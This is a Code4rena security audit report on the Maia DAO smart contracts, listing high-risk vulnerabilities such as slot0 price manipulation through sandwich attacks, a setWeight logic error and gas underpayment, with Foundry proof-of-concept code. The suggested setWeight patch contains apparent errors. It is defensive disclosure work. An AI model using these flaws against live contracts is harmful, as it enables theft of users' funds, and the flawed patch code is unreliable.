Maia DAO Ecosystem
Findings & Analysis Report

2023-09-18

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Maia DAO Ecosystem smart contract system written in Solidity. The audit took place between May 30 - July 5 2023.

Wardens

85 Wardens contributed reports to the Maia DAO Ecosystem:

  1. xuwinnie
  2. Koolex
  3. Voyvoda (alexxander, deadrxsezzz and gogo)
  4. bin2chen
  5. 0xStalin
  6. Emmanuel
  7. ABA
  8. peakbolt
  9. T1MOH
  10. ltyu
  11. yellowBirdy
  12. zzebra83
  13. minhquanym
  14. lukejohn
  15. said
  16. 0xTheC0der
  17. rbserver
  18. Evo
  19. AlexCzm
  20. tsvetanovv
  21. BPZ (Bitcoinfever244, PrasadLak and zinc42)
  22. kutugu
  23. Breeje
  24. jasonxiale
  25. ByteBandits (Cryptor, berlin-101 and sakshamguruji)
  26. Noro
  27. kodyvim
  28. Audinarey
  29. loschicos (0xadrii, [Saintcode](https://code4rena.com/@Saintcode_) and ljmanini)
  30. giovannidisiena
  31. RED-LOTUS-REACH (BlockChomper, DedOhWale, SaharDevep, reentrant and escrow)
  32. SpicyMeatball
  33. chaduke
  34. Udsen
  35. MohammedRizwan
  36. Verichains (LowK, th13vn, nt and lifebow)
  37. KupiaSec
  38. shealtielanz
  39. IllIllI
  40. max10afternoon
  41. KingNFT
  42. Madalad
  43. Fulum
  44. Josiah
  45. 0x4non
  46. 0xnev
  47. btk
  48. 0xMilenov
  49. ihtishamsudo
  50. lsaudit
  51. zzzitron
  52. Atree
  53. BLOS
  54. its_basu
  55. Kamil-Chmielewski
  56. peanuts
  57. 0xSmartContract
  58. BugBusters (nirlin and 0xepley)
  59. Co0nan
  60. LokiThe5th
  61. ubermensch
  62. adeolu
  63. nadin
  64. Kaiziron
  65. Qeew
  66. brgltd
  67. 0xCiphky
  68. Oxsadeeq
  69. 8olidity

This audit was judged by Trust.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 79 unique vulnerabilities. Of these vulnerabilities, 35 received a risk rating in the category of HIGH severity and 44 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 21 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 27 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Maia DAO Ecosystem repository, and is composed of 154 smart contracts written in the Solidity programming language and includes 10,997 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

  • Malicious Input Handling
  • Escalation of privileges
  • Arithmetic
  • Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (35)

[H-01] If a STRATEGY TOKEN is “Toggled off” STRATEGIES will still be able to withdraw, but returning of tokens with replenishReserves will be disabled.

Submitted by yellowBirdy

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchPort.sol#L158-L169

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchPort.sol#L172-L186

Impact

BranchPort.manage allows a registered Strategy to withdraw certain amounts of enabled strategy tokens. It validates access rights; i.e. if called by a strategy registered for the requested token. However, it doesn’t check to see if the token itself is currently enabled.

Conversely, BranchPort.replenishTokens allows a forced withdrawal of managed tokens from a strategy. However, it performs a check to see if the token is currently an active strategy token.

A strategy token may be disabled by toggleStrategyToken() even if there are active strategies managing it actively. In such cases, these strategies will still be able to withdraw the tokens with calls to manage() while replenishTokens will not be callable on them; thus, tokens won’t be forced as returnable.

  1. Add a check on the enabled strategy token in manage().
  2. Validate getPortStrategyTokenDebt[_strategy][_token] > 0 instead of !isStrategyToken[_token] in replenishReserves().

Assessed type

Access Control

0xBugsy (Maia) confirmed

0xLightt (Maia) commented:

Addressed here.


[H-02] Use of slot0 to get sqrtPriceLimitX96 can lead to price manipulation.

Submitted by shealtielanz, also found by Breeje, 0xStalin, xuwinnie, RED-LOTUS-REACH, 0xnev, and kutugu

In RootBrigdeAgent.sol, the functions _gasSwapOut and _gasSwapIn use UniswapV3.slot0 to get the value of sqrtPriceX96, which is used to perform the swap. However, the sqrtPriceX96 is pulled from Uniswap.slot0, which is the most recent data point and can be manipulated easily via MEV bots and Flashloans with sandwich attacks; which can cause the loss of funds when interacting with the Uniswap.swap function.

Proof of Concept

You can see the _gasSwapIn function in RootBrigdeAgent.sol here:

     //Get sqrtPriceX96
        (uint160 sqrtPriceX96,,,,,,) = IUniswapV3Pool(poolAddress).slot0();

        // Calculate Price limit depending on pre-set price impact
        uint160 exactSqrtPriceImpact = (sqrtPriceX96 * (priceImpactPercentage / 2)) / GLOBAL_DIVISIONER;

        //Get limit
        uint160 sqrtPriceLimitX96 =
            zeroForOneOnInflow ? sqrtPriceX96 - exactSqrtPriceImpact : sqrtPriceX96 + exactSqrtPriceImpact;

        //Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit
        try IUniswapV3Pool(poolAddress).swap(
            address(this),
            zeroForOneOnInflow,
            int256(_amount),
            sqrtPriceLimitX96,
            abi.encode(SwapCallbackData({tokenIn: gasTokenGlobalAddress}))

You can also see the _gasSwapOut function in RootBrigdeAgent.sol here.

   (uint160 sqrtPriceX96,,,,,,) = IUniswapV3Pool(poolAddress).slot0();

            // Calculate Price limit depending on pre-set price impact
            uint160 exactSqrtPriceImpact = (sqrtPriceX96 * (priceImpactPercentage / 2)) / GLOBAL_DIVISIONER;

            //Get limit
            sqrtPriceLimitX96 =
                zeroForOneOnInflow ? sqrtPriceX96 + exactSqrtPriceImpact : sqrtPriceX96 - exactSqrtPriceImpact;
        }

        //Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit
        (int256 amount0, int256 amount1) = IUniswapV3Pool(poolAddress).swap(
            address(this),
            !zeroForOneOnInflow,
            int256(_amount),
            sqrtPriceLimitX96,
            abi.encode(SwapCallbackData({tokenIn: address(wrappedNativeToken)}))
        );

These both use the function sqrtPriceX96 pulled from Uniswap.slot0. An attacker can simply manipulate the sqrtPriceX96 and if the Uniswap.swap function is called with the sqrtPriceX96, the token will be bought at a higher price and the attacker would run the transaction to sell; thereby earning gains but causing a loss of funds to whoever called those functions.

Use the TWAP function to get the value of sqrtPriceX96.

Assessed type

MEV

0xBugsy (Maia) acknowledged, but disagreed with severity

Trust (judge) commented:

Due to a risk of material loss of funds and the only condition for abuse is being able to sandwich a TX, high seems appropriate.

0xBugsy (Maia) confirmed and commented:

We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.


[H-03] setWeight() Logic error

Submitted by bin2chen, also found by Udsen, BPZ, lukejohn (1, 2), and ltyu (1, 2, 3)

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-amm/UlyssesPool.sol#L223

Proof of Concept

setWeight() is used to set the new weight. The code is as follows:

    function setWeight(uint256 poolId, uint8 weight) external nonReentrant onlyOwner {
        if (weight == 0) revert InvalidWeight();

        uint256 poolIndex = destinations[poolId];

        if (poolIndex == 0) revert NotUlyssesLP();

        uint256 oldRebalancingFee;

        for (uint256 i = 1; i < bandwidthStateList.length; i++) {
            uint256 targetBandwidth = totalSupply.mulDiv(bandwidthStateList[i].weight, totalWeights);

            oldRebalancingFee += _calculateRebalancingFee(bandwidthStateList[i].bandwidth, targetBandwidth, false);
        }

        uint256 oldTotalWeights = totalWeights;
        uint256 weightsWithoutPool = oldTotalWeights - bandwidthStateList[poolIndex].weight;
        uint256 newTotalWeights = weightsWithoutPool + weight;
        totalWeights = newTotalWeights;

        if (totalWeights > MAX_TOTAL_WEIGHT || oldTotalWeights == newTotalWeights) {
            revert InvalidWeight();
        }

        uint256 leftOverBandwidth;

        BandwidthState storage poolState = bandwidthStateList[poolIndex];
        poolState.weight = weight;
@>      if (oldTotalWeights > newTotalWeights) {
            for (uint256 i = 1; i < bandwidthStateList.length;) {
                if (i != poolIndex) {
                    uint256 oldBandwidth = bandwidthStateList[i].bandwidth;
                    if (oldBandwidth > 0) {
                        bandwidthStateList[i].bandwidth =
                            oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
                        leftOverBandwidth += oldBandwidth - bandwidthStateList[i].bandwidth;
                    }
                }

                unchecked {
                    ++i;
                }
            }
            poolState.bandwidth += leftOverBandwidth.toUint248();
        } else {
            uint256 oldBandwidth = poolState.bandwidth;
            if (oldBandwidth > 0) {
@>              poolState.bandwidth = oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();

                leftOverBandwidth += oldBandwidth - poolState.bandwidth;
            }

            for (uint256 i = 1; i < bandwidthStateList.length;) {
              

                if (i != poolIndex) {
                     if (i == bandwidthStateList.length - 1) {
@>                       bandwidthStateList[i].bandwidth += leftOverBandwidth.toUint248();
                     } else if (leftOverBandwidth > 0) {
@>                       bandwidthStateList[i].bandwidth +=
@>                          leftOverBandwidth.mulDiv(bandwidthStateList[i].weight, weightsWithoutPool).toUint248();
                     }
                }

                unchecked {
                    ++i;
                }
            }
        }

There are several problems with the above code:

  1. if (oldTotalWeights > newTotalWeights) should be changed to if (oldTotalWeights < newTotalWeights) because the logic inside of the if is to calculate the case of increasing weight.
  2. poolState.bandwidth = oldBandwidth.mulDivUp(oldTotalWeights , newTotalWeights).toUint248(); should be modified to poolState.bandwidth = oldBandwidth.mulDivUp(newTotalWeights, oldTotalWeights).toUint248(); because this calculates with the extra number.
  3. leftOverBandwidth has a problem with the processing logic.
    function setWeight(uint256 poolId, uint8 weight) external nonReentrant onlyOwner {
...

-        if (oldTotalWeights > newTotalWeights) {
+        if (oldTotalWeights < newTotalWeights) {
            for (uint256 i = 1; i < bandwidthStateList.length;) {
                if (i != poolIndex) {
                    uint256 oldBandwidth = bandwidthStateList[i].bandwidth;
                    if (oldBandwidth > 0) {
                        bandwidthStateList[i].bandwidth =
                            oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
                        leftOverBandwidth += oldBandwidth - bandwidthStateList[i].bandwidth;
                    }
                }

                unchecked {
                    ++i;
                }
            }
            poolState.bandwidth += leftOverBandwidth.toUint248();
        } else {
            uint256 oldBandwidth = poolState.bandwidth;
            if (oldBandwidth > 0) {
-               poolState.bandwidth = oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
+               poolState.bandwidth = oldBandwidth.mulDivUp(newTotalWeights, oldTotalWeights).toUint248();

                leftOverBandwidth += oldBandwidth - poolState.bandwidth;
            }

+           uint256 currentGiveWidth = 0;
+           uint256 currentGiveCount = 0;
            for (uint256 i = 1; i < bandwidthStateList.length;) {

+                if (i != poolIndex) {
+                     if(currentGiveCount == bandwidthStateList.length - 2 - 1) { //last
+                         bandwidthStateList[i].bandwidth += leftOverBandwidth - currentGiveWidth;
+                    }
+                     uint256 sharesWidth = leftOverBandwidth.mulDiv(bandwidthStateList[i].weight, weightsWithoutPool).toUint248();
+                     bandwidthStateList[i].bandwidth += sharesWidth;
+                     currentGiveWidth +=sharesWidth;  
+                     currentCount++;
+                 }                

-                if (i != poolIndex) {
-                    if (i == bandwidthStateList.length - 1) {
-                        bandwidthStateList[i].bandwidth += leftOverBandwidth.toUint248();
-                    } else if (leftOverBandwidth > 0) {
-                        bandwidthStateList[i].bandwidth +=
-                            leftOverBandwidth.mulDiv(bandwidthStateList[i].weight, weightsWithoutPool).toUint248();
-                    }
-               }

                unchecked {
                    ++i;
                }
            }
        }
...

Assessed type

Context

0xLightt (Maia) confirmed

Trust (judge) increased the severity to High

0xLightt (Maia) commented:

We recognize the audit’s findings on Ulysses AMM. These will not be rectified due to the upcoming migration of this section to Balancer Stable Pools.


[H-04] MIN_FALLBACK_RESERVE (in BranchBridgeAgent) doesn’t consider the actual gas consumption in AnyCall contracts, which lets the user underpay the actual cost when replenishing the execution budget

Submitted by Koolex

anyFallback method is called by the Anycall Executor on the source chain in case of a failure of the function anyExecute on the root chain. The user has to pay for the execution gas cost for this, which is done at the end of the call. However, if there is not enough depositedGas, the anyFallback method will be reverted, due to a revert caused by the Anycall Executor. This shouldn’t happen since the depositor deposited at least the MIN_FALLBACK_RESERVE (185_000) in the first place.

Here is the calculation for the gas used when anyFallback is called:

	//Save gas
	uint256 gasLeft = gasleft();

	//Get Branch Environment Execution Cost
	uint256 minExecCost = tx.gasprice * (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);

	//Check if sufficient balance
	if (minExecCost > getDeposit[_depositNonce].depositedGas) {
		_forceRevert();
		return;
	}

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1063-L1072

_forceRevert will withdraw all of the execution budget:

	// Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
	if (executionBudget > 0) try anycallConfig.withdraw(executionBudget) {} catch {}

So Anycall Executor will revert if there is not enough budget. This is done at:

	uint256 budget = executionBudget[_from];
	require(budget > totalCost, "no enough budget");
	executionBudget[_from] = budget - totalCost;

https://github.com/anyswap/multichain-smart-contracts/blob/main/contracts/anycall/v7/AnycallV7Config.sol#L206C42-L206C58

(1) Gas Calculation in our anyFallback and in AnyCall contracts:

To calculate how much the user has to pay, the following formula is used:

	//Get Branch Environment Execution Cost
	uint256 minExecCost = tx.gasprice * (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);

Gas units are calculated as follows:

  • Store gasleft() at initialGas at the beginning of anyFallback method:
	//Get Initial Gas Checkpoint
	uint256 initialGas = gasleft();

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1233-L1234

  • Nearly at the end of the method, deduct gasleft() from initialGas. This covers everything between the initial gas checkpoint and the ending gas checkpoint.
        //Save gas
        uint256 gasLeft = gasleft();

        //Get Branch Environment Execution Cost
        uint256 minExecCost = tx.gasprice * (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-omnichain/BranchBridgeAgent.sol#L1063-L1066

  • Add MIN_FALLBACK_RESERVE which is 185_000.

This overhead is supposed to cover:

  • 100_000 for anycall. This is extra cost required by Anycall.
Line:38	
uint256 constant EXECUTION_OVERHEAD = 100000;
	.
	.
Line:203	
uint256 gasUsed = _prevGasLeft + EXECUTION_OVERHEAD - gasleft();

https://github.com/anyswap/multichain-smart-contracts/blob/main/contracts/anycall/v7/AnycallV7Config.sol#L203

  • 85_000 for our fallback execution. For example, this is used to cover the modifier requiresExecutor and to cover everything after the end gas checkpoint.

If we check how much this would actually cost, we can find it nearly 70_000. So, 85_000 is safe enough. A PoC is also provided to prove this. However, there is an overhead of gas usage in the Anycall contracts that’s not considered, which is different than the 100_000 extra that’s required by AnyCall anyway (see above).

This means, the user is paying less than the actual cost. According to the sponsor, Bridge Agent deployer deposits the first time into anycallConfig, where the goal is to replenish the execution budget after use every time.

The issue leads to:

  1. execution budget is decreasing over time (slow draining) in case it has funds already.
  2. anyExecute call will fail since the calculation of the gas used in the Anycall contracts is bigger than the minimum reserve. In Anycall, this is done by the modifier chargeDestFee.
  3. Modifier chargeDestFee:

    	modifier chargeDestFee(address _from, uint256 _flags) {
    	if (_isSet(_flags, AnycallFlags.FLAG_PAY_FEE_ON_DEST)) {
    		uint256 _prevGasLeft = gasleft();
    		_;
    		IAnycallConfig(config).chargeFeeOnDestChain(_from, _prevGasLeft);
    	} else {
    		_;
    	}
    }

    https://github.com/anyswap/multichain-smart-contracts/blob/main/contracts/anycall/v7/AnycallV7Upgradeable.sol#L163-L171

  4. Function chargeFeeOnDestChain:

    	function chargeFeeOnDestChain(address _from, uint256 _prevGasLeft)
    		external
    		onlyAnycallContract
    	{
    		if (!_isSet(mode, FREE_MODE)) {
    			uint256 gasUsed = _prevGasLeft + EXECUTION_OVERHEAD - gasleft();
    			uint256 totalCost = gasUsed * (tx.gasprice + _feeData.premium);
    			uint256 budget = executionBudget[_from];
    			require(budget > totalCost, "no enough budget");
    			executionBudget[_from] = budget - totalCost;
    			_feeData.accruedFees += uint128(totalCost);
    		}
    	}

    https://github.com/anyswap/multichain-smart-contracts/blob/main/contracts/anycall/v7/AnycallV7Config.sol#L203

The gas consumption of anyExec method called by the MPC (in AnyCall) here:

    function anyExec(
        address _to,
        bytes calldata _data,
        string calldata _appID,
        RequestContext calldata _ctx,
        bytes calldata _extdata
    )
        external
        virtual
        lock
        whenNotPaused
        chargeDestFee(_to, _ctx.flags) // <= starting from here
        onlyMPC
    {
		.
		.
		.
		bool success = _execute(_to, _data, _ctx, _extdata);
		.
		.
   }

https://github.com/anyswap/multichain-smart-contracts/blob/main/contracts/anycall/v7/AnycallV7Upgradeable.sol#L276

The gas is nearly 110_000 and is not taken into account; as proven in the PoCs.

(2) Base Fee & Input Data Fee:

From Ethereum yellow paper:

Gtransaction - 21000 Paid for every transaction.
Gtxdatazero - 4 Paid for every zero byte of data or code for a transaction.
Gtxdatanonzero - 16 Paid for every non-zero byte of data or code for a transaction.

So:

  1. We have 21_000 as the base fee. This should be taken into account; however, it is paid by AnyCall since the TX is sent by MPC. So, we are fine here. This probably explains the overhead (100_000) added by anycall.
  2. Because the anyFallback method has bytes data to be passed, we have extra gas consumption which is not taken into account.

For every zero byte => 4

For every non-zero byte => 16

So generally speaking, the bigger the data is, the bigger the gas becomes. You can simply prove this by adding arbitrary data to the anyFallback method in the PoC #1 test below. You will also see the gas spent increases.

Summary

  1. MIN_FALLBACK_RESERVE is safe enough, without considering the anyExec method (check next point).
  2. The gas consumed by the anyExec method called by the MPC is not considered.
  3. The input data fee isn’t taken into account.

There are two PoCs proving the first two points above. The third point can be proven by simply adding arbitrary data to the anyFallback method in the PoC #1 test.

Note: this is also applicable for RootBridgeAgent, which I avoided writing a separate issue for it since the code for _payFallbackGas is almost the same. However, those 3 statements don’t exist in RootBridgeAgent._payFallbackGas.

	//Withdraw Gas
	IPort(localPortAddress).withdraw(address(this), address(wrappedNativeToken), minExecCost);

	//Unwrap Gas
	wrappedNativeToken.withdraw(minExecCost);

	//Replenish Gas
	_replenishGas(minExecCost);

So, the gas spent is even less and 55_000 (from 155_000 in MIN_FALLBACK_RESERVE of RootBridgeAgent) is safe enough. But, the second two points are still not taken into account in RootBridgeAgent (see above).

Proof of Concept #1

MIN_FALLBACK_RESERVE is safe enough.

Note: estimation doesn’t consider anyExec method’s actual cost.

Overview

This PoC is independent from the codebase (but uses the same code). There are two contracts simulating BranchBridgeAgent.anyFallback:

  1. BranchBridgeAgent, which has the code of the pre-first gas checkpoint and the post-last gas checkpoint.
  2. BranchBridgeAgentEmpty, which has the code of the pre-first gas checkpoint and the post-last gas checkpoint commented out.

We’ll run the same test for both, but the difference in gas is what’s at least nearly the minimum required to cover the pre-first gas checkpoint and the post-last gas checkpoint. In this case here, it is 70_090 which is smaller than 85_000. So, we are fine.

Here is the output of the test:

[PASS] test_calcgas() (gas: 143835)
Logs:
  branchBridgeAgent.anyFallback Gas Spent => 71993

[PASS] test_calcgasEmpty() (gas: 73734)
Logs:
  branchBridgeAgentEmpty.anyFallback Gas Spent => 1903

Test result: ok. 2 passed; 0 failed; finished in 2.08ms

71_993 - 1903 = 70_090

Explanation

BranchBridgeAgent.anyFallback method depends on the following external calls:

  1. AnycallExecutor.context()
  2. AnycallProxy.config()
  3. AnycallConfig.executionBudget()
  4. AnycallConfig.withdraw()
  5. AnycallConfig.deposit()
  6. WETH9.withdraw()
  7. BranchPort.withdraw()

For this reason, I’ve copied the same code from multichain-smart-contracts. For WETH9, I’ve used the contract from the codebase which has minimal code. For BranchPort, I copied from the codebase.

Note: For libraries, unused methods were removed. This is because I couldn’t submit the report, as it gave the error “too long body”. However, it doesn’t affect the gas spent

Please note that:

  • tx.gasprice is replaced with a fixed value in the _payFallbackGas method, as it is not available in Foundry.
  • In _replenishGas, reading the config via IAnycallProxy(localAnyCallAddress).config() is replaced with an immediate call for simplicity. In other words, avoiding proxy to make the PoC simpler and shorter. However, if done with proxy, the gas used would increase. So in both ways, it is in favor of the PoC.

The coded PoC

  • Foundry.toml
	[profile.default]
	solc = '0.8.17'
	src = 'solidity'
	test = 'solidity/test'
	out = 'out'
	libs = ['lib']
	fuzz_runs = 1000
	optimizer_runs = 10_000
  • .gitmodules
	[submodule "lib/ds-test"]
		path = lib/ds-test
		url = https://github.com/dapphub/ds-test
		branch = master
	[submodule "lib/forge-std"]
		path = lib/forge-std
		url = https://github.com/brockelmore/forge-std
		branch = master
  • remappings.txt
	ds-test/=lib/ds-test/src
	forge-std/=lib/forge-std/src
  • Test File:
// PoC => Maia OmniChain: gasCalculation for anyFallback in BranchBridgeAgent
pragma solidity >=0.8.4 <0.9.0;

import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

import {DSTest} from "ds-test/test.sol";

// copied from https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol
// only decimals is used
abstract contract ERC20 {
    string public name;

    string public symbol;

    uint8 public immutable decimals;
    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }


}

// copied from Solady 
// removed unused methods, because I couldn't submit the report with too long code
library SafeTransferLib {
    /// @dev The ETH transfer has failed.
    error ETHTransferFailed();

    /// @dev The ERC20 `transferFrom` has failed.
    error TransferFromFailed();

    /// @dev The ERC20 `transfer` has failed.
    error TransferFailed();

    /// @dev The ERC20 `approve` has failed.
    error ApproveFailed();

    /// @dev Suggested gas stipend for contract receiving ETH
    /// that disallows any storage writes.
    uint256 internal constant _GAS_STIPEND_NO_STORAGE_WRITES = 2300;

    /// @dev Suggested gas stipend for contract receiving ETH to perform a few
    /// storage reads and writes, but low enough to prevent griefing.
    /// Multiply by a small constant (e.g. 2), if needed.
    uint256 internal constant _GAS_STIPEND_NO_GRIEF = 100000;


    /// @dev Sends `amount` (in wei) ETH to `to`.
    /// Reverts upon failure.
    ///
    /// Note: This implementation does NOT protect against gas griefing.
    /// Please use `forceSafeTransferETH` for gas griefing protection.
    function safeTransferETH(address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            // Transfer the ETH and check if it succeeded or not.
            if iszero(call(gas(), to, amount, 0, 0, 0, 0)) {
                // Store the function selector of `ETHTransferFailed()`.
                mstore(0x00, 0xb12d13eb)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
        }
    }

    

    function safeTransferFrom(
        address token,
        address from,
        address to,
        uint256 amount
    ) internal {
        /// @solidity memory-safe-assembly
        assembly {
            let m := mload(0x40) // Cache the free memory pointer.

            mstore(0x60, amount) // Store the `amount` argument.
            mstore(0x40, to) // Store the `to` argument.
            mstore(0x2c, shl(96, from)) // Store the `from` argument.
            // Store the function selector of `transferFrom(address,address,uint256)`.
            mstore(0x0c, 0x23b872dd000000000000000000000000)

            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    call(gas(), token, 0, 0x1c, 0x64, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `TransferFromFailed()`.
                mstore(0x00, 0x7939f424)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            mstore(0x60, 0) // Restore the zero slot to zero.
            mstore(0x40, m) // Restore the free memory pointer.
        }
    }

  

    /// @dev Sends `amount` of ERC20 `token` from the current contract to `to`.
    /// Reverts upon failure.
    function safeTransfer(address token, address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x14, to) // Store the `to` argument.
            mstore(0x34, amount) // Store the `amount` argument.
            // Store the function selector of `transfer(address,uint256)`.
            mstore(0x00, 0xa9059cbb000000000000000000000000)

            if iszero(
                and(
                    // The arguments of `and` are evaluated from right to left.
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `TransferFailed()`.
                mstore(0x00, 0x90b8ec18)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
            // Restore the part of the free memory pointer that was overwritten.
            mstore(0x34, 0)
        }
    }


}

/// copied from (https://github.com/vectorized/solady/blob/main/src/utils/SafeCastLib.sol)
library SafeCastLib {

    error Overflow();


    function toUint128(uint256 x) internal pure returns (uint128) {
        if (x >= 1 << 128) _revertOverflow();
        return uint128(x);
    }


    function toInt8(int256 x) internal pure returns (int8) {
        int8 y = int8(x);
        if (x != y) _revertOverflow();
        return y;
    }

    

    function toInt128(int256 x) internal pure returns (int128) {
        int128 y = int128(x);
        if (x != y) _revertOverflow();
        return y;
    }


    function toInt256(uint256 x) internal pure returns (int256) {
        if (x >= 1 << 255) _revertOverflow();
        return int256(x);
    }

    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /-                    PRIVATE HELPERS                       */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/

    function _revertOverflow() private pure {
        /// @solidity memory-safe-assembly
        assembly {
            // Store the function selector of `Overflow()`.
            mstore(0x00, 0x35278d12)
            // Revert with (offset, size).
            revert(0x1c, 0x04)
        }
    }
}

interface IAnycallExecutor {
    function context()
        external
        view
        returns (address from, uint256 fromChainID, uint256 nonce);

    function execute(
        address _to,
        bytes calldata _data,
        address _from,
        uint256 _fromChainID,
        uint256 _nonce,
        uint256 _flags,
        bytes calldata _extdata
    ) external returns (bool success, bytes memory result);
}

interface IAnycallConfig {
    function calcSrcFees(
        address _app,
        uint256 _toChainID,
        uint256 _dataLength
    ) external view returns (uint256);

    function executionBudget(address _app) external view returns (uint256);

    function deposit(address _account) external payable;

    function withdraw(uint256 _amount) external;
}

interface IAnycallProxy {
    function executor() external view returns (address);

    function config() external view returns (address);

    function anyCall(
        address _to,
        bytes calldata _data,
        uint256 _toChainID,
        uint256 _flags,
        bytes calldata _extdata
    ) external payable;

    function anyCall(
        string calldata _to,
        bytes calldata _data,
        uint256 _toChainID,
        uint256 _flags,
        bytes calldata _extdata
    ) external payable;
}

contract WETH9 {
    string public name = "Wrapped Ether";
    string public symbol = "WETH";
    uint8 public decimals = 18;

    event Approval(address indexed src, address indexed guy, uint256 wad);
    event Transfer(address indexed src, address indexed dst, uint256 wad);
    event Deposit(address indexed dst, uint256 wad);
    event Withdrawal(address indexed src, uint256 wad);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    // function receive() external payable {
    //   deposit();
    // }

    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        payable(msg.sender).transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint256) {
        return address(this).balance;
    }

    function approve(address guy, uint256 wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint256 wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(
        address src,
        address dst,
        uint256 wad
    ) public returns (bool) {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != 255) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }
}

contract AnycallExecutor {
    struct Context {
        address from;
        uint256 fromChainID;
        uint256 nonce;
    }
    // Context public override context;
    Context public context;

    constructor() {
        context.fromChainID = 1;
        context.from = address(2);
        context.nonce = 1;
    }
}

contract AnycallV7Config {
    event Deposit(address indexed account, uint256 amount);

    mapping(address => uint256) public executionBudget;

    /// @notice Deposit native currency crediting `_account` for execution costs on this chain
    /// @param _account The account to deposit and credit for
    function deposit(address _account) external payable {
        executionBudget[_account] += msg.value;
        emit Deposit(_account, msg.value);
    }
}

// IBranchPort interface
interface IPort {
    /*///////////////////////////////////////////////////////////////
                            VIEW FUNCTIONS
    //////////////////////////////////////////////////////////////*/
    /**
     * @notice Returns true if the address is a Bridge Agent.
     - @param _bridgeAgent Bridge Agent address.
     - @return bool.
     */
    function isBridgeAgent(address _bridgeAgent) external view returns (bool);

    /**
     * @notice Returns true if the address is a Strategy Token.
     - @param _token token address.
     - @return bool.
     */
    function isStrategyToken(address _token) external view returns (bool);

    /**
     * @notice Returns true if the address is a Port Strategy.
     - @param _strategy strategy address.
     - @param _token token address.
     - @return bool.
     */
    function isPortStrategy(
        address _strategy,
        address _token
    ) external view returns (bool);

    /**
     * @notice Returns true if the address is a Bridge Agent Factory.
     - @param _bridgeAgentFactory Bridge Agent Factory address.
     - @return bool.
     */
    function isBridgeAgentFactory(
        address _bridgeAgentFactory
    ) external view returns (bool);

    /*///////////////////////////////////////////////////////////////
                          PORT STRATEGY MANAGEMENT
    //////////////////////////////////////////////////////////////*/

    /**
     * @notice Allows active Port Strategy addresses to withdraw assets.
     -   @param _token token address.
     -   @param _amount amount of tokens.
     */
